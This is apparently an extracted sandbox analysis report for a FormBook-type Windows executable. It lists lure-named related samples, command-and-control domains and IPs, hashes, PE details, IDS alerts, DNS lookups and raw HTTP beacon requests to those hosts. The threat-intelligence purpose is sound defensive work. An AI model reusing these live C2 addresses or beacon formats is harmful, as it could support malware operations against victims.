75.2.81.221 825610.parkingcrew.net United States 16509 AMAZON-02US false

154.88.31.204 www.aizaibali.com Seychelles 40065 CNSERVERSUS true

URLs from Memory and Binaries

Contacted IPs

Public

Show All

Simulations

Behavior and APIs
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No simulations

Match Associated Sample Name / URL SHA 256 Detection Link Context

95.215.210.10 QxnlprRUTx.exe Get hash malicious Browse  www.coche
z.club/dy8g/?
Jn=M2y0
8b4guDc7ky
1UfP9B2E9D
VQMkOM+mjh
yUMO8ZT8aj
lM0broLEOh
QJKjmEwKzz
qjxp&2dM8l
=bXbDpfbx6
FA04L

quote.exe Get hash malicious Browse  www.oilep
p.club/sgs8/?
5joX=g/
kFtZKPlgxq
AQoU+wlNBU
IJLf9Fcx+i
YtqxvXVhE+
9z/b8eYGNe
36RCp3BFC2
pgwHcV&D2M
8=n6Aht2th
EVdHtFzP

RzLicilE0b.exe Get hash malicious Browse  www.coche
z.club/dy8g/?
cPwPC=G
vDdgdCxmzC
8AL&Jj8hf8
=M2y08b4gu
Dc7ky1UfP9
B2E9DVQMkO
M+mjhyUMO8
ZT8ajlM0br
oLEOhQJKjm
EwKzzqjxp

letterhead.exe Get hash malicious Browse  www.rapur
p.club/epms/?
Cj30v=9
rJhur7HoF7
lOxC&x4uDf
ZgH=K5/mSQ
XSr23x/w/w
VuTeR0A48O
Ut6IqKG3U9
if3kYnbI39
O8+SeWAMuf
gZ7J/RGM/FJB

PO6543.exe Get hash malicious Browse  www.zirre
ma.club/arug/?
kfLlf8
=WePorOziR
m3dT6K3hne
Q6fmiCjwbD
aqEtdfFV6Z
B0ObBVUAf2
E30+4A2y/B
ajiHRCQCm&
Yf0=ybFLLT
R8hZjhx2

DH7v8T4xFa.exe Get hash malicious Browse  www.ouitu
m.club/nsag/?
r6A=oyu
KyynVjO0A9
ce0TXUJOkg
+PRrvkOYQG
7y0ZxIeGgk
EVxubI4D8c
/ZpyjqbTZI
03xFO&rVID
m=GBODAlxx
jbuxRT

Joe Sandbox View / Context

IPs
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https://view.joesandbox.com/analysis/353544/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353544/html/none?idtype=webid
https://view.joesandbox.com/analysis/353418/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353418/html/none?idtype=webid
https://view.joesandbox.com/analysis/351405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351405/html/none?idtype=webid
https://view.joesandbox.com/analysis/305618/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/305618/html/none?idtype=webid
https://view.joesandbox.com/analysis/285245/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285245/html/none?idtype=webid
https://view.joesandbox.com/analysis/284785/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/284785/html/none?idtype=webid


ZTRADE0021.exe Get hash malicious Browse  www.deite
y.club/i8rz/?
9r4P-=1
ysJ3lWopnx
W9GefGIty5
IYzVShJJI8
DXw1o7bIqn
iwmmXQsizY
OZMj1tVFT/
eUIzFsn+AW
cxA==&1bS=
WHrpCdQ08

q5oRsfy1vk.exe Get hash malicious Browse  www.letev
a.club/w8en/?
jrQDTX=
t8bLyeK0DI
5vLwV8yQwz
QWSFYhc1yG
8ON0Rl7Rqk
h6Hs61Z4hv
VeNgM7YBsF
6F3Pp/Tj&K
2JxgH=Exop
8hRXRdA

Sf6jgQc6Ww.exe Get hash malicious Browse  www.keboa
te.club/oean/?
5j=UjP
t&DvjTU=QS
IVnL8HxXhF
JqDnObQFTa
TfjHXZPmA+
lfnypz2XDw
+CpSlLz9Ct
CX9/im7M/R
pd1AtY

btVnDhh5K7.exe Get hash malicious Browse  www.keboa
te.club/oean/?
Tj=YvF
Hu&wxl=QSI
VnL8HxXhFJ
qDnObQFTaT
fjHXZPmA+l
fnypz2XDw+
CpSlLz9CtC
X9/im7M/Rp
d1AtY

bin.exe Get hash malicious Browse  www.coded
ad.club/oncs/?
tXUd=W
DabN1kLr0e
eaEJi5hB0q
Y/SQqmTyVe
MQxg3iiKOo
wrTZ05AQIK
vczEBWaeH6
gSgjhMc&2d
dpC=ftxDHdNX

Order No. BCM190282.exe Get hash malicious Browse  www.gourg
io.club/w8en/?
rvR86T
=5YwAZxfr8
BO/v8TT5gf
gL0uEKqiEK
71WcuoEStV
UpKXrZ2OiC
HsQMJK9T6j
PO8wO+q3l&
1bw=L6Ahp0
_8jf-htd6p

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/271898/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/271898/html/none?idtype=webid
https://view.joesandbox.com/analysis/259389/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259389/html/none?idtype=webid
https://view.joesandbox.com/analysis/259330/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259330/html/none?idtype=webid
https://view.joesandbox.com/analysis/254171/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254171/html/none?idtype=webid
https://view.joesandbox.com/analysis/250422/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250422/html/none?idtype=webid
https://view.joesandbox.com/analysis/249097/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249097/html/none?idtype=webid


Shipping INVOICE-BL Shipment..exe Get hash malicious Browse  www.wasti
e.club/mqgf/?
v2Jx9=0
pY0Q8thwtJ
li0y0&1bz=
uH4Dxo5rCe
tYkfO7KLYR
cfVECb5esR
D5h1WtuccC
G6pO/xNVWE
KD01dxTzpI
BP2UrYly

172.104.157.41 RzLicilE0b.exe Get hash malicious Browse  www.vermo
genswerte.
com/dy8g/?
cPwPC=GvDd
gdCxmzC8AL
&Jj8hf8=vE
c9l3KIwUbL
2yE9akOYH6
tpFpdH8sid
HZA37HjQYo
0aYTivi/dQ
ORBe2LpAM6
isw8Zs

75.2.81.221 PQMW0W5h3X.exe Get hash malicious Browse  www.theno
rthgoldlin
e.com/dy8g/?6l-
=6lY0
&A4Ll=ECrC
AtcV2n6Mmf
vkEdEbFHcY
5Y6SYRzoX5
6/iPQe4p5q
Rx/lRHZ+fK
1TxUIBKPcH
vB2GVYbV9w==

Shipping Documents C1216.exe Get hash malicious Browse  www.helpw
ithgre.com
/fhg5/?idF
t5Lt8=2UtB
8DcbqqUNdG
GafXCP7IZK
2b+ICtd8++
zQoCDv+Hjw
8z9Bnq28qA
Sc6PfUd7Mb
l5s7loQVOw
==&TZ=EjUt0xR

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

www.aizaibali.com v8kZUFgdD4.exe Get hash malicious Browse 154.88.31.204

QxnlprRUTx.exe Get hash malicious Browse 154.88.31.204

w3Qf2wBNX7.exe Get hash malicious Browse 154.88.31.204

825610.parkingcrew.net PQMW0W5h3X.exe Get hash malicious Browse 75.2.81.221

Shipping Documents C1216.exe Get hash malicious Browse 75.2.81.221

47DOC008699383837383 PDF.exe Get hash malicious Browse 54.72.9.115

29SCAN 0750.exe Get hash malicious Browse 54.72.9.115

www.garimpeirastore.online QxnlprRUTx.exe Get hash malicious Browse 209.99.40.222

seBe6bgLTw.exe Get hash malicious Browse 209.99.40.222

0FKzNO1g3P.exe Get hash malicious Browse 209.99.40.222

Match Associated Sample Name / URL SHA 256 Detection Link Context

LINODE-APLinodeLLCUS Gw6boin32F.exe Get hash malicious Browse 176.58.123.25

Swift-Payment_Details.xlsx Get hash malicious Browse 173.255.19
4.134

2fZSExq7dm.exe Get hash malicious Browse 176.58.123.25

9QFzJlxaTl.dll Get hash malicious Browse 176.58.123.25

CefN2XNyFi Get hash malicious Browse 45.79.143.159

lovemetertok.dll Get hash malicious Browse 176.58.123.25

Item_positions_receipt_564965.xlsm Get hash malicious Browse 176.58.123.25

Signed PEARLTECH contract and PO.exe Get hash malicious Browse 173.255.19
4.134

Domains

ASN
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https://view.joesandbox.com/analysis/241331/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241331/html/none?idtype=webid
https://view.joesandbox.com/analysis/351405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351405/html/none?idtype=webid
https://view.joesandbox.com/analysis/344459/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344459/html/none?idtype=webid
https://view.joesandbox.com/analysis/283115/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/283115/html/none?idtype=webid
https://view.joesandbox.com/analysis/354568/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354568/html/none?idtype=webid
https://view.joesandbox.com/analysis/353544/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353544/html/none?idtype=webid
https://view.joesandbox.com/analysis/341377/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341377/html/none?idtype=webid
https://view.joesandbox.com/analysis/344459/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344459/html/none?idtype=webid
https://view.joesandbox.com/analysis/283115/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/283115/html/none?idtype=webid
https://view.joesandbox.com/analysis/146662/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/146662/html/none?idtype=webid
https://view.joesandbox.com/analysis/133941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/133941/html/none?idtype=webid
https://view.joesandbox.com/analysis/353544/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353544/html/none?idtype=webid
https://view.joesandbox.com/analysis/348103/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348103/html/none?idtype=webid
https://view.joesandbox.com/analysis/344425/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/344425/html/none?idtype=webid
https://view.joesandbox.com/analysis/354565/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354565/html/none?idtype=webid
https://view.joesandbox.com/analysis/354557/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354557/html/none?idtype=webid
https://view.joesandbox.com/analysis/354474/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354474/html/none?idtype=webid
https://view.joesandbox.com/analysis/354451/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354451/html/none?idtype=webid
https://view.joesandbox.com/analysis/354238/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354238/html/none?idtype=webid
https://view.joesandbox.com/analysis/354011/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354011/html/none?idtype=webid
https://view.joesandbox.com/analysis/353705/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353705/html/none?idtype=webid
https://view.joesandbox.com/analysis/353394/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353394/html/none?idtype=webid


Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit): 7.971119501388661

TrID: Win32 Executable (generic) a (10002005/4) 
99.96%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.00%

File name: pMbPS8nCm1.exe

File size: 177067

MD5: de87f1794377537dda721afd9137e491

SHA1: 3b0480a4afe176722d9b8cf6f9f9c9257b1d132f

SHA256: b0a684c7dfc5a94e3dd2edcb1c706eae088ff9d701ec55f
0adb1ae977e5e9081

SHA512: 7916fe93f72a025663540894ca5c7678e345870bc32e54a
f6224394b2d1bd3991adbf9097d0d8af67363fa4e3ae0ec
00ab407b0a5a24ffec2652457420d4aa14

SSDEEP: 3072:vMWOOOOOOOOOOOOOOHQ47MB3Fvd3cvtS
99ZwlRtlL79ZF5/CGnrN8pCcFOOZPJIZ:EWOOOOOO
OOOOOOOOH9sxd3+S9CRtlhEE

XfKsLIPLUu Get hash malicious Browse 50.116.8.237

Reciept 2868661.xlsb Get hash malicious Browse 178.79.147.66

nO9g6aIpZp.exe Get hash malicious Browse 178.79.130.185

zgMatT7LEs.exe Get hash malicious Browse 66.175.218.106

borderCurr.dll Get hash malicious Browse 176.58.123.25

triage_dropped_file.dll Get hash malicious Browse 176.58.123.25

vZksc78XID.dll Get hash malicious Browse 176.58.123.25

mormanti.exe Get hash malicious Browse 66.228.49.173

6J08VVHWxd.dll Get hash malicious Browse 176.58.123.25

HocVKWxT9F.dll Get hash malicious Browse 176.58.123.25

deepRats.exe Get hash malicious Browse 45.79.108.130

NEWIT-ASRU QxnlprRUTx.exe Get hash malicious Browse 95.215.210.10

quote.exe Get hash malicious Browse 95.215.210.10

RzLicilE0b.exe Get hash malicious Browse 95.215.210.10

letterhead.exe Get hash malicious Browse 95.215.210.10

PO6543.exe Get hash malicious Browse 95.215.210.10

DH7v8T4xFa.exe Get hash malicious Browse 95.215.210.10

ZTRADE0021.exe Get hash malicious Browse 95.215.210.10

q5oRsfy1vk.exe Get hash malicious Browse 95.215.210.10

Sf6jgQc6Ww.exe Get hash malicious Browse 95.215.210.10

btVnDhh5K7.exe Get hash malicious Browse 95.215.210.10

bin.exe Get hash malicious Browse 95.215.210.10

Order No. BCM190282.exe Get hash malicious Browse 95.215.210.10

Shipping INVOICE-BL Shipment..exe Get hash malicious Browse 95.215.210.10

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

No context

No created / dropped files found

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/353352/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353352/html/none?idtype=webid
https://view.joesandbox.com/analysis/353308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353308/html/none?idtype=webid
https://view.joesandbox.com/analysis/352993/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352993/html/none?idtype=webid
https://view.joesandbox.com/analysis/352753/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352753/html/none?idtype=webid
https://view.joesandbox.com/analysis/352740/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352740/html/none?idtype=webid
https://view.joesandbox.com/analysis/352679/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352679/html/none?idtype=webid
https://view.joesandbox.com/analysis/352667/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352667/html/none?idtype=webid
https://view.joesandbox.com/analysis/352644/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352644/html/none?idtype=webid
https://view.joesandbox.com/analysis/352641/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352641/html/none?idtype=webid
https://view.joesandbox.com/analysis/352625/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352625/html/none?idtype=webid
https://view.joesandbox.com/analysis/352569/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352569/html/none?idtype=webid
https://view.joesandbox.com/analysis/353544/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353544/html/none?idtype=webid
https://view.joesandbox.com/analysis/353418/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353418/html/none?idtype=webid
https://view.joesandbox.com/analysis/351405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351405/html/none?idtype=webid
https://view.joesandbox.com/analysis/305618/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/305618/html/none?idtype=webid
https://view.joesandbox.com/analysis/285245/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285245/html/none?idtype=webid
https://view.joesandbox.com/analysis/284785/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/284785/html/none?idtype=webid
https://view.joesandbox.com/analysis/271898/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/271898/html/none?idtype=webid
https://view.joesandbox.com/analysis/259389/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259389/html/none?idtype=webid
https://view.joesandbox.com/analysis/259330/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259330/html/none?idtype=webid
https://view.joesandbox.com/analysis/254171/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254171/html/none?idtype=webid
https://view.joesandbox.com/analysis/250422/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250422/html/none?idtype=webid
https://view.joesandbox.com/analysis/249097/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249097/html/none?idtype=webid
https://view.joesandbox.com/analysis/241331/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241331/html/none?idtype=webid


File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$...........Wtz.
Wtz.Wtz.^...Ztz.Wt{.Itz.^...Vtz.^...Vtz.RichWtz.................
PE..L...q..`.....................................0....@

General

File Icon

Icon Hash: 00828e8e8686b000

Snort IDS Alerts

General
Entrypoint: 0x401000

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE

Time Stamp: 0x60F8EC71 [Thu Jul 22 03:56:33 2021 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 5

OS Version Minor: 0

File Version Major: 5

File Version Minor: 0

Subsystem Version Major: 5

Subsystem Version Minor: 0

Import Hash: 10de39a2884c15c1630de9015f14f501

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x1142 0x1200 False 0.485677083333 data 4.74207504229 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rdata 0x3000 0x3fc 0x400 False 0.5732421875 data 4.71317659598 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

07/22/21-
18:05:29.842456

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49735 80 192.168.2.5 34.102.136.180

07/22/21-
18:05:29.842456

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49735 80 192.168.2.5 34.102.136.180

07/22/21-
18:05:29.842456

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49735 80 192.168.2.5 34.102.136.180

07/22/21-
18:05:29.980778

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49735 34.102.136.180 192.168.2.5

07/22/21-
18:05:40.590605

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49736 34.102.136.180 192.168.2.5

Static PE Info

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports
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Network Port Distribution

07/22/21-
18:05:45.704566

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49739 80 192.168.2.5 172.104.157.41

07/22/21-
18:05:45.704566

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49739 80 192.168.2.5 172.104.157.41

07/22/21-
18:05:45.704566

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49739 80 192.168.2.5 172.104.157.41

07/22/21-
18:05:51.027598

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49740 75.2.81.221 192.168.2.5

07/22/21-
18:06:08.622399

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49743 80 192.168.2.5 34.102.136.180

07/22/21-
18:06:08.622399

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49743 80 192.168.2.5 34.102.136.180

07/22/21-
18:06:08.622399

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49743 80 192.168.2.5 34.102.136.180

07/22/21-
18:06:08.765433

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49743 34.102.136.180 192.168.2.5

07/22/21-
18:06:29.722039

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49745 80 192.168.2.5 209.99.40.222

07/22/21-
18:06:29.722039

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49745 80 192.168.2.5 209.99.40.222

07/22/21-
18:06:29.722039

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49745 80 192.168.2.5 209.99.40.222

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jul 22, 2021 18:05:24.348808050 CEST 192.168.2.5 8.8.8.8 0xc49e Standard query 
(0)

www.cochez.club A (IP address) IN (0x0001)

Jul 22, 2021 18:05:29.725193024 CEST 192.168.2.5 8.8.8.8 0x4939 Standard query 
(0)

www.cindyw
illardrealtor.com

A (IP address) IN (0x0001)

Jul 22, 2021 18:05:34.991868019 CEST 192.168.2.5 8.8.8.8 0x7e9d Standard query 
(0)

www.boatrace-
life04.net

A (IP address) IN (0x0001)

Jul 22, 2021 18:05:40.347507000 CEST 192.168.2.5 8.8.8.8 0xbdd4 Standard query 
(0)

www.wideaw
akemomma.com

A (IP address) IN (0x0001)

Jul 22, 2021 18:05:45.601917028 CEST 192.168.2.5 8.8.8.8 0x1e19 Standard query 
(0)

www.vermog
enswerte.com

A (IP address) IN (0x0001)

Jul 22, 2021 18:05:50.758366108 CEST 192.168.2.5 8.8.8.8 0x7c2b Standard query 
(0)

www.thenor
thgoldline.com

A (IP address) IN (0x0001)

Jul 22, 2021 18:05:56.063550949 CEST 192.168.2.5 8.8.8.8 0x8ab6 Standard query 
(0)

www.saludflv.info A (IP address) IN (0x0001)

Jul 22, 2021 18:06:01.572627068 CEST 192.168.2.5 8.8.8.8 0x76bc Standard query 
(0)

www.aizaib
ali.com

A (IP address) IN (0x0001)

Jul 22, 2021 18:06:07.533250093 CEST 192.168.2.5 8.8.8.8 0x58f6 Standard query 
(0)

www.aizaib
ali.com

A (IP address) IN (0x0001)

Jul 22, 2021 18:06:08.508938074 CEST 192.168.2.5 8.8.8.8 0xa77e Standard query 
(0)

www.extinc
tionbrews.com

A (IP address) IN (0x0001)

Jul 22, 2021 18:06:18.814857960 CEST 192.168.2.5 8.8.8.8 0x9265 Standard query 
(0)

www.livega
ming.store

A (IP address) IN (0x0001)

Jul 22, 2021 18:06:23.903868914 CEST 192.168.2.5 8.8.8.8 0xb162 Standard query 
(0)

www.melode
zu.com

A (IP address) IN (0x0001)

Jul 22, 2021 18:06:29.368000984 CEST 192.168.2.5 8.8.8.8 0xdcf1 Standard query 
(0)

www.garimp
eirastore.online

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jul 22, 2021 
18:05:24.412262917 
CEST

8.8.8.8 192.168.2.5 0xc49e No error (0) www.cochez
.club

cochez.club CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
18:05:24.412262917 
CEST

8.8.8.8 192.168.2.5 0xc49e No error (0) cochez.club 95.215.210.10 A (IP address) IN (0x0001)

TCP Packets

UDP Packets

DNS Queries

DNS Answers
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Jul 22, 2021 
18:05:29.798022032 
CEST

8.8.8.8 192.168.2.5 0x4939 No error (0) www.cindyw
illardrealtor.com

cindywillardrealtor.com CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
18:05:29.798022032 
CEST

8.8.8.8 192.168.2.5 0x4939 No error (0) cindywilla
rdrealtor.com

34.102.136.180 A (IP address) IN (0x0001)

Jul 22, 2021 
18:05:35.301244020 
CEST

8.8.8.8 192.168.2.5 0x7e9d Name error (3) www.boatrace-
life04.net

none none A (IP address) IN (0x0001)

Jul 22, 2021 
18:05:40.408329010 
CEST

8.8.8.8 192.168.2.5 0xbdd4 No error (0) www.wideaw
akemomma.com

wideawakemomma.com CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
18:05:40.408329010 
CEST

8.8.8.8 192.168.2.5 0xbdd4 No error (0) wideawakem
omma.com

34.102.136.180 A (IP address) IN (0x0001)

Jul 22, 2021 
18:05:45.660773993 
CEST

8.8.8.8 192.168.2.5 0x1e19 No error (0) www.vermog
enswerte.com

vermogenswerte.com CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
18:05:45.660773993 
CEST

8.8.8.8 192.168.2.5 0x1e19 No error (0) vermogensw
erte.com

172.104.157.41 A (IP address) IN (0x0001)

Jul 22, 2021 
18:05:50.829539061 
CEST

8.8.8.8 192.168.2.5 0x7c2b No error (0) www.thenor
thgoldline.com

825610.parkingcrew.net CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
18:05:50.829539061 
CEST

8.8.8.8 192.168.2.5 0x7c2b No error (0) 825610.par
kingcrew.net

75.2.81.221 A (IP address) IN (0x0001)

Jul 22, 2021 
18:05:56.557075024 
CEST

8.8.8.8 192.168.2.5 0x8ab6 Server failure 
(2)

www.saludf
lv.info

none none A (IP address) IN (0x0001)

Jul 22, 2021 
18:06:01.782565117 
CEST

8.8.8.8 192.168.2.5 0x76bc No error (0) www.aizaib
ali.com

154.88.31.204 A (IP address) IN (0x0001)

Jul 22, 2021 
18:06:07.590384960 
CEST

8.8.8.8 192.168.2.5 0x58f6 No error (0) www.aizaib
ali.com

154.88.31.204 A (IP address) IN (0x0001)

Jul 22, 2021 
18:06:08.576487064 
CEST

8.8.8.8 192.168.2.5 0xa77e No error (0) www.extinc
tionbrews.com

extinctionbrews.com CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
18:06:08.576487064 
CEST

8.8.8.8 192.168.2.5 0xa77e No error (0) extinction
brews.com

34.102.136.180 A (IP address) IN (0x0001)

Jul 22, 2021 
18:06:18.888294935 
CEST

8.8.8.8 192.168.2.5 0x9265 Name error (3) www.livega
ming.store

none none A (IP address) IN (0x0001)

Jul 22, 2021 
18:06:23.966645956 
CEST

8.8.8.8 192.168.2.5 0xb162 No error (0) www.melode
zu.com

melodezu.com CNAME 
(Canonical 
name)

IN (0x0001)

Jul 22, 2021 
18:06:23.966645956 
CEST

8.8.8.8 192.168.2.5 0xb162 No error (0) melodezu.com 64.227.87.162 A (IP address) IN (0x0001)

Jul 22, 2021 
18:06:29.558474064 
CEST

8.8.8.8 192.168.2.5 0xdcf1 No error (0) www.garimp
eirastore.online

209.99.40.222 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
www.cochez.club

            
www.cindywillardrealtor.com

            
www.wideawakemomma.com

            
www.vermogenswerte.com

            
www.thenorthgoldline.com

            
www.extinctionbrews.com

         

HTTP Request Dependency Graph

HTTP Packets
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Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.5 49734 95.215.210.10 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jul 22, 2021 
18:05:24.568625927 CEST

9835 OUT GET /dy8g/?i8PHMrf=M2y08b4guDc7ky1UfP9B2E9DVQMkOM+mjhyUMO8ZT8ajlM0broLEOhQJKgG+gbTLwEQu&5j
LtOl=htxh HTTP/1.1
Host: www.cochez.club
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jul 22, 2021 
18:05:24.706911087 CEST

9836 IN HTTP/1.1 404 Not Found
Date: Thu, 22 Jul 2021 16:05:24 GMT
Server: Apache/2.4.6 (CentOS) PHP/7.3.19
Content-Length: 203
Connection: close
Content-Type: text/html; charset=iso-8859-1
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 
74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 
75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 64 79 38 67 2f 20 77 61 73 
20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 
74 6d 6c 3e 0a 
Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /dy8g/ was not found on this server.</p></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.5 49735 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jul 22, 2021 
18:05:29.842456102 CEST

9837 OUT GET /dy8g/?i8PHMrf=d70oYrFBgMb8Os9vLLnU0lHHdKTBSZLAimar8DFO2VzVjiqJdJvZleKp8o5Ll6MGkmh7&5jLtOl=htxh 
HTTP/1.1
Host: www.cindywillardrealtor.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jul 22, 2021 
18:05:29.980777979 CEST

9837 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Thu, 22 Jul 2021 16:05:29 GMT
Content-Type: text/html
Content-Length: 275
ETag: "60f790d8-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
